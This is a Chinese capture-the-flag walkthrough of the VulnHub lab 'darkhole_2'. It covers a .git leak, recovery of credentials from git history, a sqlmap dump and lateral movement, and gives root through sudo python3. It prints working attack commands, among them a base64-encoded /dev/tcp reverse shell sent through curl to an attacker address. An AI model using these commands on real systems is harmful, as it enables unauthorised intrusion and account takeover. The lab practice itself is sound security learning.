darkhole_2靶机
background:
自己独立完成的第一个hard级别的靶机 难度其实都不大 跟三年前的一样 只不过是自己拥有了独立思考到解题的一个过程 更多的也是一直经验
https://www.vulnhub.com/entry/darkhole-2,740/
口子
做个目录扫描发现了.git文件泄露 并且还有目录浏览
http://192.168.0.130/.git/ |
那就直接上githack
python2 GitHack.py http://192.168.0.130/.git/ |
login.php.php里没有有用的信息 dashboard.php里是goto加密了
https://enphp.djunny.com/ 在线解goto加密
解开感觉就出货了 很明显的一个注入 moblie直接拼接了
直接构造数据包却发现不行 源码里面也没有输出Not Allowed的逻辑啊 那就只能证明我们拿到的源码不是当下的业务代码
查看一下git修改记录
git log |
查看修改的内容 最终发现上一个版本的代码中直接写了账号密码
git diff a4d900a8d85e8938d3601f3cef113ee293028e10 |
使用lush@admin.com/321 成功登录系统
由于上面goto解开发现注入 我就一直在编辑资料这里对着mobile参数测注入 但貌似没啥效果 在这里卡了好一会
最后确定没戏 看到地址栏的dashboard.php?id=1然后用burp跑了下1-20000的id 没啥东西 然后就测一下这里的注入 成功拿到了ssh密码
python sqlmap.py -r .\1.txt -D darkhole_2 --dump --batch |
横向
使用jehad/fool成功登录 无suid和sudo可用 查找进程
发现losy用户在本地9999端口跑了个php程序
ps -aux |
进一步查看 就是白给的rce 隧道都不需要搭 直接curl利用即可
反弹shell base64编码 url编码
curl 127.0.0.1:9999?cmd=echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjEyOS8xMjM0IDA%2BJjE%3D%7Cbase64%20-d%7Cbash%20-i |
成功获得losy用户权限
提权
查看losy 用户目录下的.bash_history文件 发现了losy的密码为gang 同时看到了sudo python的操作
查看能直接sudo的程序 得在交互式的shell里输密码才行
python3 -c 'import pty; pty.spawn("/bin/bash")' |
直接python3获取root权限
sudo python3 -c 'import os; os.system("/bin/sh")' |